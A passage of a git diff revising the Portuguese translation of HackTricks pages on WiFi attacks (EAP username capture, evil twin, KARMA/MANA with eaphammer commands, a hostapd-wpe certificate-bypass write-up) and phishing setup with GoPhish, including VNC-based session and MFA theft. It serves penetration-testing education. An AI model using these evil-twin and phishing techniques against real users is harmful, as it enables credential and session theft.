6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi ``` 1. **EAP-GTC (Generic Token Card)**: -* Este método suporta tokens de hardware e senhas de uso único dentro do EAP-PEAP. Ao contrário do MSCHAPv2, ele não usa um desafio de par e envia senhas em texto claro para o ponto de acesso, apresentando um risco para ataques de downgrade. +* Este método suporta tokens de hardware e senhas de uso único dentro do EAP-PEAP. Ao contrário do MSCHAPv2, não utiliza um desafio de par e envia senhas em texto claro para o ponto de acesso, apresentando um risco para ataques de downgrade. 2. **EAP-MD5 (Message Digest 5)**: * Envolve o envio do hash MD5 da senha do cliente. **Não é recomendado** devido à vulnerabilidade a ataques de dicionário, falta de autenticação do servidor e incapacidade de gerar chaves WEP específicas para a sessão. 3. **EAP-TLS (Transport Layer Security)**: * Utiliza certificados tanto do lado do cliente quanto do lado do servidor para autenticação e pode gerar dinamicamente chaves WEP baseadas em usuário e sessão para proteger as comunicações. 4. **EAP-TTLS (Tunneled Transport Layer Security)**: -* Fornece autenticação mútua através de um túnel criptografado, juntamente com um método para derivar chaves WEP dinâmicas, por usuário e por sessão. Ele requer apenas certificados do lado do servidor, com os clientes usando credenciais. +* Fornece autenticação mútua através de um túnel criptografado, juntamente com um método para derivar chaves WEP dinâmicas, por usuário e por sessão. Requer apenas certificados do lado do servidor, com os clientes usando credenciais. 5. **PEAP (Protected Extensible Authentication Protocol)**: -* Funciona de forma semelhante ao EAP, criando um túnel TLS para comunicação protegida. Permite o uso de protocolos de autenticação mais fracos em cima do EAP devido à proteção oferecida pelo túnel. +* Funciona de maneira semelhante ao EAP, criando um túnel TLS para comunicação protegida. Permite o uso de protocolos de autenticação mais fracos em cima do EAP devido à proteção oferecida pelo túnel. * **PEAP-MSCHAPv2**: Frequentemente referido como PEAP, combina o vulnerável mecanismo de desafio/resposta MSCHAPv2 com um túnel TLS protetor. * **PEAP-EAP-TLS (ou PEAP-TLS)**: Semelhante ao EAP-TLS, mas inicia um túnel TLS antes de trocar certificados, oferecendo uma camada adicional de segurança. @@ -407,7 +405,7 @@ Você pode encontrar mais informações sobre esses métodos de autenticação [ ### Captura de Nome de Usuário -Lendo [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27), parece que se você estiver usando **EAP**, as **mensagens de "Identidade"** devem ser **suportadas**, e o **nome de usuário** será enviado em **claro** nas mensagens de **"Resposta de Identidade"**. +Lendo [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27), parece que se você estiver usando **EAP**, as **mensagens "Identidade"** devem ser **suportadas**, e o **nome de usuário** será enviado em **claro** nas mensagens de **"Resposta de Identidade"**. Mesmo usando um dos métodos de autenticação mais seguros: **PEAP-EAP-TLS**, é possível **capturar o nome de usuário enviado no protocolo EAP**. Para fazer isso, **capture uma comunicação de autenticação** (inicie `airodump-ng` dentro de um canal e `wireshark` na mesma interface) e filtre os pacotes por `eapol`.\ Dentro do pacote "**Resposta, Identidade**", o **nome de usuário** do cliente aparecerá. @@ -416,7 +414,7 @@ Dentro do pacote "**Resposta, Identidade**", o **nome de usuário** do cliente a ### Identidades Anônimas -A ocultação de identidade é suportada tanto pelo EAP-PEAP quanto pelo EAP-TTLS. No contexto de uma rede WiFi, uma solicitação de EAP-Identidade é tipicamente iniciada pelo ponto de acesso (AP) durante o processo de associação. Para garantir a proteção do anonimato do usuário, a resposta do cliente EAP no dispositivo do usuário contém apenas as informações essenciais necessárias para que o servidor RADIUS inicial processe a solicitação. Este conceito é ilustrado através dos seguintes cenários: +A ocultação de identidade é suportada tanto pelo EAP-PEAP quanto pelo EAP-TTLS. No contexto de uma rede WiFi, uma solicitação de EAP-Identidade é tipicamente iniciada pelo ponto de acesso (AP) durante o processo de associação. Para garantir a proteção da anonimidade do usuário, a resposta do cliente EAP no dispositivo do usuário contém apenas as informações essenciais necessárias para que o servidor RADIUS inicial processe a solicitação. Este conceito é ilustrado através dos seguintes cenários: * EAP-Identidade = anônimo * Neste cenário, todos os usuários utilizam o pseudônimo "anônimo" como seu identificador de usuário. O servidor RADIUS inicial funciona como um servidor EAP-PEAP ou EAP-TTLS, responsável por gerenciar o lado do servidor do protocolo PEAP ou TTLS. O método de autenticação interno (protegido) é então tratado localmente ou delegado a um servidor RADIUS remoto (doméstico). @@ -428,7 +426,7 @@ No EAP-PEAP, uma vez que o túnel TLS é estabelecido entre o servidor PEAP e o O EAP-TTLS segue um procedimento ligeiramente diferente. Com o EAP-TTLS, o cliente normalmente se autentica usando PAP ou CHAP, protegido pelo túnel TLS. Neste caso, o cliente inclui um atributo User-Name e um atributo Password ou CHAP-Password na mensagem TLS inicial enviada após o estabelecimento do túnel. -Independentemente do protocolo escolhido, o servidor PEAP/TTLS obtém conhecimento da verdadeira identidade do usuário após o túnel TLS ter sido estabelecido. A verdadeira identidade pode ser representada como user@realm ou simplesmente user. Se o servidor PEAP/TTLS também for responsável por autenticar o usuário, ele agora possui a identidade do usuário e prossegue com o método de autenticação protegido pelo túnel TLS. Alternativamente, o servidor PEAP/TTLS pode encaminhar uma nova solicitação RADIUS para o servidor RADIUS doméstico do usuário. Esta nova solicitação RADIUS omite a camada de protocolo PEAP ou TTLS. Nos casos em que o método de autenticação protegido é EAP, as mensagens EAP internas são transmitidas para o servidor RADIUS doméstico sem a embalagem EAP-PEAP ou EAP-TTLS. O atributo User-Name da mensagem RADIUS de saída contém a verdadeira identidade do usuário, substituindo o User-Name anônimo da solicitação RADIUS de entrada. Quando o método de autenticação protegido é PAP ou CHAP (suportado apenas pelo TTLS), o User-Name e outros atributos de autenticação extraídos da carga útil TLS são substituídos na mensagem RADIUS de saída, deslocando os atributos User-Name anônimo e TTLS EAP-Message encontrados na solicitação RADIUS de entrada. +Independentemente do protocolo escolhido, o servidor PEAP/TTLS obtém conhecimento da verdadeira identidade do usuário após o túnel TLS ter sido estabelecido. A verdadeira identidade pode ser representada como user@realm ou simplesmente user. Se o servidor PEAP/TTLS também for responsável pela autenticação do usuário, agora possui a identidade do usuário e prossegue com o método de autenticação protegido pelo túnel TLS. Alternativamente, o servidor PEAP/TTLS pode encaminhar uma nova solicitação RADIUS para o servidor RADIUS doméstico do usuário. Esta nova solicitação RADIUS omite a camada do protocolo PEAP ou TTLS. Nos casos em que o método de autenticação protegido é EAP, as mensagens EAP internas são transmitidas para o servidor RADIUS doméstico sem a embalagem EAP-PEAP ou EAP-TTLS. O atributo User-Name da mensagem RADIUS de saída contém a verdadeira identidade do usuário, substituindo o User-Name anônimo da solicitação RADIUS de entrada. Quando o método de autenticação protegido é PAP ou CHAP (suportado apenas pelo TTLS), o User-Name e outros atributos de autenticação extraídos da carga útil TLS são substituídos na mensagem RADIUS de saída, deslocando os atributos User-Name anônimo e TTLS EAP-Message encontrados na solicitação RADIUS de entrada. Para mais informações, consulte [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm) @@ -450,9 +448,9 @@ Você também pode realizar este ataque usando `eaphammer`: ### Seleção de Rede e Roaming -* O protocolo 802.11 define como uma estação se junta a um Conjunto de Serviços Estendido (ESS), mas não especifica os critérios para selecionar um ESS ou um ponto de acesso (AP) dentro dele. +* O protocolo 802.11 define como uma estação se junta a um Conjunto de Serviço Estendido (ESS), mas não especifica os critérios para selecionar um ESS ou um ponto de acesso (AP) dentro dele. * As estações podem fazer roaming entre APs que compartilham o mesmo ESSID, mantendo a conectividade em um edifício ou área. -* O protocolo exige autenticação da estação ao ESS, mas não exige autenticação do AP à estação. +* O protocolo requer autenticação da estação ao ESS, mas não exige autenticação do AP à estação. ### Listas de Redes Preferidas (PNLs) @@ -543,7 +541,7 @@ Um ataque de evil twin explora a maneira como os clientes WiFi reconhecem redes, * **Dificuldade em Diferenciação**: Dispositivos têm dificuldade em distinguir entre pontos de acesso legítimos e maliciosos quando compartilham o mesmo ESSID e tipo de criptografia. Redes do mundo real frequentemente usam múltiplos pontos de acesso com o mesmo ESSID para estender a cobertura de forma contínua. * **Roaming de Cliente e Manipulação de Conexão**: O protocolo 802.11 permite que dispositivos se movam entre pontos de acesso dentro do mesmo ESS. Ataques podem explorar isso atraindo um dispositivo a desconectar de sua estação base atual e conectar-se a uma maliciosa. Isso pode ser alcançado oferecendo um sinal mais forte ou interrompendo a conexão com o ponto de acesso legítimo através de métodos como pacotes de desautenticação ou jamming. -* **Desafios na Execução**: Executar com sucesso um ataque de evil twin em ambientes com múltiplos pontos de acesso bem posicionados pode ser desafiador. Desautenticar um único ponto de acesso legítimo frequentemente resulta no dispositivo se conectar a outro ponto de acesso legítimo, a menos que o atacante consiga desautenticar todos os pontos de acesso próximos ou posicionar estrategicamente o ponto de acesso malicioso. +* **Desafios na Execução**: Executar com sucesso um ataque de evil twin em ambientes com múltiplos pontos de acesso bem posicionados pode ser desafiador. Desautenticar um único ponto de acesso legítimo frequentemente resulta no dispositivo se conectando a outro ponto de acesso legítimo, a menos que o atacante consiga desautenticar todos os pontos de acesso próximos ou posicionar estrategicamente o ponto de acesso malicioso. Você pode criar um Open Evil Twin muito básico (sem capacidades de rotear tráfego para a Internet) fazendo: ```bash @@ -632,17 +630,17 @@ E olhe na nova **aba "Decrypted TLS"**: ## KARMA, MANA, Loud MANA e ataque de beacons conhecidos -### Listas negras/whitelists de ESSID e MAC +### ESSID e listas negras/brancas de MAC Diferentes tipos de Listas de Filtro de Controle de Acesso à Mídia (MFACLs) e seus modos correspondentes e efeitos no comportamento de um Ponto de Acesso (AP) malicioso: -1. **Whitelist baseada em MAC**: +1. **Lista Branca Baseada em MAC**: * O AP malicioso responderá apenas a solicitações de sondagem de dispositivos especificados na lista branca, permanecendo invisível a todos os outros não listados. -2. **Blacklist baseada em MAC**: +2. **Lista Negra Baseada em MAC**: * O AP malicioso ignorará solicitações de sondagem de dispositivos na lista negra, tornando efetivamente o AP malicioso invisível para esses dispositivos específicos. -3. **Whitelist baseada em SSID**: +3. **Lista Branca Baseada em SSID**: * O AP malicioso responderá a solicitações de sondagem apenas para ESSIDs específicos listados, tornando-o invisível para dispositivos cujas Listas de Redes Preferidas (PNLs) não contêm esses ESSIDs. -4. **Blacklist baseada em SSID**: +4. **Lista Negra Baseada em SSID**: * O AP malicioso não responderá a solicitações de sondagem para os ESSIDs específicos na lista negra, tornando-o invisível para dispositivos que buscam essas redes particulares. ```bash # example EAPHammer MFACL file, wildcards can be used @@ -669,9 +667,9 @@ Este método permite que um **atacante crie um ponto de acesso (AP) malicioso qu ### MANA -Então, **os dispositivos começaram a ignorar respostas de rede não solicitadas**, reduzindo a eficácia do ataque karma original. No entanto, um novo método, conhecido como **ataque MANA**, foi introduzido por Ian de Villiers e Dominic White. Este método envolve o AP falso **capturando as Listas de Redes Preferidas (PNL) dos dispositivos ao responder às suas solicitações de sondagem de transmissão** com nomes de rede (SSIDs) previamente solicitados pelos dispositivos. Este ataque sofisticado contorna as proteções contra o ataque karma original explorando a maneira como os dispositivos lembram e priorizam redes conhecidas. +Então, **os dispositivos começaram a ignorar respostas de rede não solicitadas**, reduzindo a eficácia do ataque karma original. No entanto, um novo método, conhecido como **ataque MANA**, foi introduzido por Ian de Villiers e Dominic White. Este método envolve o AP falso **capturando as Listas de Redes Preferidas (PNL) dos dispositivos ao responder às suas solicitações de sondagem de broadcast** com nomes de redes (SSIDs) previamente solicitados pelos dispositivos. Este ataque sofisticado contorna as proteções contra o ataque karma original explorando a maneira como os dispositivos lembram e priorizam redes conhecidas. -O ataque MANA opera monitorando tanto solicitações de sondagem direcionadas quanto de transmissão de dispositivos. Para solicitações direcionadas, ele registra o endereço MAC do dispositivo e o nome da rede solicitada, adicionando essas informações a uma lista. Quando uma solicitação de transmissão é recebida, o AP responde com informações que correspondem a qualquer uma das redes na lista do dispositivo, atraindo o dispositivo a se conectar ao AP falso. +O ataque MANA opera monitorando tanto solicitações de sondagem direcionadas quanto de broadcast dos dispositivos. Para solicitações direcionadas, ele registra o endereço MAC do dispositivo e o nome da rede solicitada, adicionando essas informações a uma lista. Quando uma solicitação de broadcast é recebida, o AP responde com informações que correspondem a qualquer uma das redes na lista do dispositivo, atraindo o dispositivo a se conectar ao AP falso. ```bash ./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds] ``` @@ -685,7 +683,7 @@ Um **ataque Loud MANA** é uma estratégia avançada para quando os dispositivos Quando o **Loud MANA attack** pode não ser suficiente, o **Known Beacon attack** apresenta outra abordagem. Este método **força o processo de conexão simulando um AP que responde a qualquer nome de rede, passando por uma lista de ESSIDs potenciais** derivada de uma lista de palavras. Isso simula a presença de inúmeras redes, na esperança de corresponder a um ESSID dentro da PNL da vítima, levando a uma tentativa de conexão ao AP fabricado. O ataque pode ser amplificado combinando-o com a opção `--loud` para uma tentativa mais agressiva de capturar dispositivos. -Eaphammer implementou este ataque como um ataque MANA onde todos os ESSIDs dentro de uma lista são carregados (você também pode combinar isso com `--loud` para criar um ataque Loud MANA + Known beacons): +O Eaphammer implementou este ataque como um ataque MANA onde todos os ESSIDs dentro de uma lista são carregados (você também pode combinar isso com `--loud` para criar um ataque Loud MANA + Known beacons): ```bash ./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds] ``` @@ -733,7 +731,7 @@ TODO: Dê uma olhada em [https://github.com/wifiphisher/wifiphisher](https://git
-Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas! +Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs! **Hacking Insights**\ Engaje-se com conteúdo que explora a emoção e os desafios do hacking @@ -756,7 +754,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} diff --git a/generic-methodologies-and-resources/pentesting-wifi/evil-twin-eap-tls.md b/generic-methodologies-and-resources/pentesting-wifi/evil-twin-eap-tls.md index de39d3171..0c564716d 100644 --- a/generic-methodologies-and-resources/pentesting-wifi/evil-twin-eap-tls.md +++ b/generic-methodologies-and-resources/pentesting-wifi/evil-twin-eap-tls.md @@ -1,78 +1,78 @@ # Evil Twin EAP-TLS {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} \ -**Dica de recompensa por bugs**: **Inscreva-se** no **Intigriti**, uma plataforma premium de **recompensas por bugs criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**! +**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma **plataforma de bug bounty premium criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} -Em algum momento, precisei usar a solução proposta no post abaixo, mas os passos em [https://github.com/OpenSecurityResearch/hostapd-wpe](https://github.com/OpenSecurityResearch/hostapd-wpe) não estavam funcionando mais no kali moderno (2019v3).\ +Em algum momento, precisei usar a solução proposta pelo post abaixo, mas os passos em [https://github.com/OpenSecurityResearch/hostapd-wpe](https://github.com/OpenSecurityResearch/hostapd-wpe) não estavam funcionando na kali moderna (2019v3) mais.\ De qualquer forma, é fácil fazê-los funcionar.\ Você só precisa baixar o hostapd-2.6 daqui: [https://w1.fi/releases/](https://w1.fi/releases/) e antes de compilar novamente o hostapd-wpe, instale: `apt-get install libssl1.0-dev` ### Analisando e Explorando EAP-TLS em Redes Sem Fio #### Contexto: EAP-TLS em Redes Sem Fio -EAP-TLS é um protocolo de segurança que fornece autenticação mútua entre cliente e servidor usando certificados. A conexão é estabelecida somente se tanto o cliente quanto o servidor autenticarem os certificados um do outro. +EAP-TLS é um protocolo de segurança que fornece autenticação mútua entre cliente e servidor usando certificados. A conexão só é estabelecida se tanto o cliente quanto o servidor autenticarem os certificados um do outro. #### Desafio Encontrado -Durante uma avaliação, um erro interessante foi encontrado ao usar a ferramenta `hostapd-wpe`. A ferramenta rejeitou a conexão do cliente devido ao certificado do cliente ser assinado por uma Autoridade de Certificação (CA) desconhecida. Isso indicou que o cliente não confiava no certificado do servidor falso, apontando para configurações de segurança frouxas no lado do cliente. +Durante uma avaliação, um erro interessante foi encontrado ao usar a ferramenta `hostapd-wpe`. A ferramenta rejeitou a conexão do cliente devido ao certificado do cliente ser assinado por uma Autoridade Certificadora (CA) desconhecida. Isso indicou que o cliente confiava no certificado do servidor falso, apontando para configurações de segurança frouxas no lado do cliente. -#### Objetivo: Configurar um Ataque Man-in-the-Middle (MiTM) -O objetivo era modificar a ferramenta para aceitar qualquer certificado de cliente. Isso permitiria o estabelecimento de uma conexão com a rede sem fio maliciosa e possibilitaria um ataque MiTM, potencialmente capturando credenciais em texto simples ou outros dados sensíveis. +#### Objetivo: Configurando um Ataque Man-in-the-Middle (MiTM) +O objetivo era modificar a ferramenta para aceitar qualquer certificado de cliente. Isso permitiria o estabelecimento de uma conexão com a rede sem fio maliciosa e possibilitaria um ataque MiTM, potencialmente capturando credenciais em texto claro ou outros dados sensíveis. -#### Solução: Modificando o `hostapd-wpe` -A análise do código-fonte do `hostapd-wpe` revelou que a validação do certificado do cliente era controlada por um parâmetro (`verify_peer`) na função OpenSSL `SSL_set_verify`. Ao alterar o valor desse parâmetro de 1 (validar) para 0 (não validar), a ferramenta foi configurada para aceitar qualquer certificado de cliente. +#### Solução: Modificando `hostapd-wpe` +A análise do código-fonte do `hostapd-wpe` revelou que a validação do certificado do cliente era controlada por um parâmetro (`verify_peer`) na função OpenSSL `SSL_set_verify`. Ao mudar o valor desse parâmetro de 1 (validar) para 0 (não validar), a ferramenta foi feita para aceitar qualquer certificado de cliente. #### Execução do Ataque -1. **Verificação do Ambiente:** Use o `airodump-ng` para monitorar redes sem fio e identificar alvos. -2. **Configurar um AP Falso:** Execute o `hostapd-wpe` modificado para criar um Ponto de Acesso (AP) falso imitando a rede alvo. -3. **Customização do Portal Cativo:** Personalize a página de login do portal cativo para parecer legítima e familiar ao usuário alvo. +1. **Verificação do Ambiente:** Use `airodump-ng` para monitorar redes sem fio e identificar alvos. +2. **Configurar AP Falso:** Execute o `hostapd-wpe` modificado para criar um Ponto de Acesso (AP) falso imitando a rede alvo. +3. **Personalização do Portal Cativo:** Personalize a página de login do portal cativo para parecer legítima e familiar ao usuário alvo. 4. **Ataque de Desautenticação:** Opcionalmente, execute um ataque de desautenticação para desconectar o cliente da rede legítima e conectá-lo ao AP falso. -5. **Captura de Credenciais:** Uma vez que o cliente se conecta ao AP falso e interage com o portal cativo, suas credenciais são capturadas. +5. **Capturando Credenciais:** Uma vez que o cliente se conecta ao AP falso e interage com o portal cativo, suas credenciais são capturadas. #### Observações do Ataque - Em máquinas Windows, o sistema pode se conectar automaticamente ao AP falso, apresentando o portal cativo quando a navegação na web é tentada. -- Em um iPhone, o usuário pode ser solicitado a aceitar um novo certificado e depois apresentado com o portal cativo. +- Em um iPhone, o usuário pode ser solicitado a aceitar um novo certificado e, em seguida, apresentado ao portal cativo. #### Conclusão Embora o EAP-TLS seja considerado seguro, sua eficácia depende fortemente da configuração correta e do comportamento cauteloso dos usuários finais. Dispositivos mal configurados ou usuários desavisados aceitando certificados falsos podem comprometer a segurança de uma rede protegida por EAP-TLS. -Para mais detalhes, consulte https://versprite.com/blog/application-security/eap-tls-wireless-infrastructure/ +Para mais detalhes, confira https://versprite.com/blog/application-security/eap-tls-wireless-infrastructure/ ## Referências * [https://versprite.com/blog/application-security/eap-tls-wireless-infrastructure/](https://versprite.com/blog/application-security/eap-tls-wireless-infrastructure/) \ -**Dica de recompensa por bugs**: **Inscreva-se** no **Intigriti**, uma plataforma premium de **recompensas por bugs criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**! +**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma **plataforma de bug bounty premium criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/generic-methodologies-and-resources/phishing-methodology/README.md b/generic-methodologies-and-resources/phishing-methodology/README.md index 71aee4704..a474e0437 100644 --- a/generic-methodologies-and-resources/phishing-methodology/README.md +++ b/generic-methodologies-and-resources/phishing-methodology/README.md @@ -19,11 +19,11 @@ Aprenda e pratique Hacking GCP: @ ``` @@ -120,7 +120,7 @@ mkdir /opt/gophish/ssl_keys cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt​ ``` -**Configuração de Mail** +**Configuração de e-mail** Comece instalando: `apt-get install postfix` @@ -139,7 +139,7 @@ Finalmente, modifique os arquivos **`/etc/hostname`** e **`/etc/mailname`** para Agora, crie um **registro DNS A** de `mail.` apontando para o **endereço IP** do VPS e um **registro DNS MX** apontando para `mail.` -Agora vamos testar o envio de um email: +Agora vamos testar o envio de um e-mail: ```bash apt install mailutils echo "This is the body of the email" | mail -s "This is the subject line" test@email.com @@ -232,9 +232,9 @@ service gophish status ss -l | grep "3333\|443" service gophish stop ``` -## Configurando servidor de email e domínio +## Configurando servidor de e-mail e domínio -### Espere e seja legítimo +### Espere & seja legítimo Quanto mais antigo for um domínio, menos provável é que ele seja identificado como spam. Portanto, você deve esperar o máximo de tempo possível (pelo menos 1 semana) antes da avaliação de phishing. Além disso, se você colocar uma página sobre um setor reputacional, a reputação obtida será melhor. @@ -318,10 +318,10 @@ A página [www.mail-tester.com](https://www.mail-tester.com) pode indicar se seu * Decida de qual conta você vai enviar os emails de phishing. Sugestões: _noreply, support, servicedesk, salesforce..._ * Você pode deixar em branco o nome de usuário e a senha, mas certifique-se de marcar a opção Ignorar Erros de Certificado -![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) +![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) {% hint style="info" %} -É recomendado usar a funcionalidade "**Enviar Email de Teste**" para testar se tudo está funcionando.\ +É recomendável usar a funcionalidade "**Enviar Email de Teste**" para testar se tudo está funcionando.\ Eu recomendaria **enviar os emails de teste para endereços de 10min** a fim de evitar ser colocado na lista negra durante os testes. {% endhint %} @@ -349,7 +349,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY ``` -Note que **para aumentar a credibilidade do e-mail**, é recomendado usar alguma assinatura de um e-mail do cliente. Sugestões: +Note que **para aumentar a credibilidade do e-mail**, é recomendável usar alguma assinatura de um e-mail do cliente. Sugestões: * Envie um e-mail para um **endereço inexistente** e verifique se a resposta tem alguma assinatura. * Procure por **e-mails públicos** como info@ex.com ou press@ex.com ou public@ex.com e envie um e-mail para eles e aguarde a resposta. @@ -395,14 +395,14 @@ Note que o **Perfil de Envio permite enviar um e-mail de teste para ver como ser ![](<../../.gitbook/assets/image (192).png>) {% hint style="info" %} -Eu recomendaria **enviar os e-mails de teste para endereços de e-mail de 10 minutos** para evitar ser colocado na lista negra durante os testes. +Eu recomendaria **enviar os e-mails de teste para endereços de 10min** a fim de evitar ser colocado na lista negra durante os testes. {% endhint %} Uma vez que tudo esteja pronto, basta lançar a campanha! ## Clonagem de Site -Se por algum motivo você quiser clonar o site, verifique a página a seguir: +Se por algum motivo você quiser clonar o site, verifique a seguinte página: {% content-ref url="clone-a-website.md" %} [clone-a-website.md](clone-a-website.md) @@ -411,7 +411,7 @@ Se por algum motivo você quiser clonar o site, verifique a página a seguir: ## Documentos & Arquivos com Backdoor Em algumas avaliações de phishing (principalmente para Red Teams) você também vai querer **enviar arquivos contendo algum tipo de backdoor** (talvez um C2 ou talvez apenas algo que acionará uma autenticação).\ -Confira a página a seguir para alguns exemplos: +Confira a seguinte página para alguns exemplos: {% content-ref url="phishing-documents.md" %} [phishing-documents.md](phishing-documents.md) @@ -432,21 +432,21 @@ O ataque anterior é bastante inteligente, pois você está falsificando um site ### Via VNC -E se, em vez de **enviar a vítima para uma página maliciosa** com a mesma aparência da original, você a enviar para uma **sessão VNC com um navegador conectado à página da web real**? Você poderá ver o que ele faz, roubar a senha, o MFA usado, os cookies...\ +E se, em vez de **enviar a vítima para uma página maliciosa** com a mesma aparência da original, você a enviar para uma **sessão VNC com um navegador conectado à página real**? Você poderá ver o que ele faz, roubar a senha, o MFA usado, os cookies...\ Você pode fazer isso com [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) ## Detectando a detecção -Obviamente, uma das melhores maneiras de saber se você foi descoberto é **procurar seu domínio em listas negras**. Se ele aparecer listado, de alguma forma seu domínio foi detectado como suspeito.\ +Obviamente, uma das melhores maneiras de saber se você foi descoberto é **pesquisar seu domínio em listas negras**. Se ele aparecer listado, de alguma forma seu domínio foi detectado como suspeito.\ Uma maneira fácil de verificar se seu domínio aparece em alguma lista negra é usar [https://malwareworld.com/](https://malwareworld.com) -No entanto, existem outras maneiras de saber se a vítima está **procurando ativamente por atividades de phishing suspeitas na web**, conforme explicado em: +No entanto, existem outras maneiras de saber se a vítima está **ativamente procurando por atividades de phishing suspeitas na web**, conforme explicado em: {% content-ref url="detecting-phising.md" %} [detecting-phising.md](detecting-phising.md) {% endcontent-ref %} -Você pode **comprar um domínio com um nome muito semelhante** ao domínio da vítima **e/ou gerar um certificado** para um **subdomínio** de um domínio controlado por você **contendo** a **palavra-chave** do domínio da vítima. Se a **vítima** realizar qualquer tipo de **interação DNS ou HTTP** com eles, você saberá que **ela está procurando ativamente** por domínios suspeitos e precisará ser muito discreto. +Você pode **comprar um domínio com um nome muito semelhante** ao domínio da vítima **e/ou gerar um certificado** para um **subdomínio** de um domínio controlado por você **contendo** a **palavra-chave** do domínio da vítima. Se a **vítima** realizar qualquer tipo de **interação DNS ou HTTP** com eles, você saberá que **ela está ativamente procurando** por domínios suspeitos e você precisará ser muito discreto. ### Avaliar o phishing diff --git 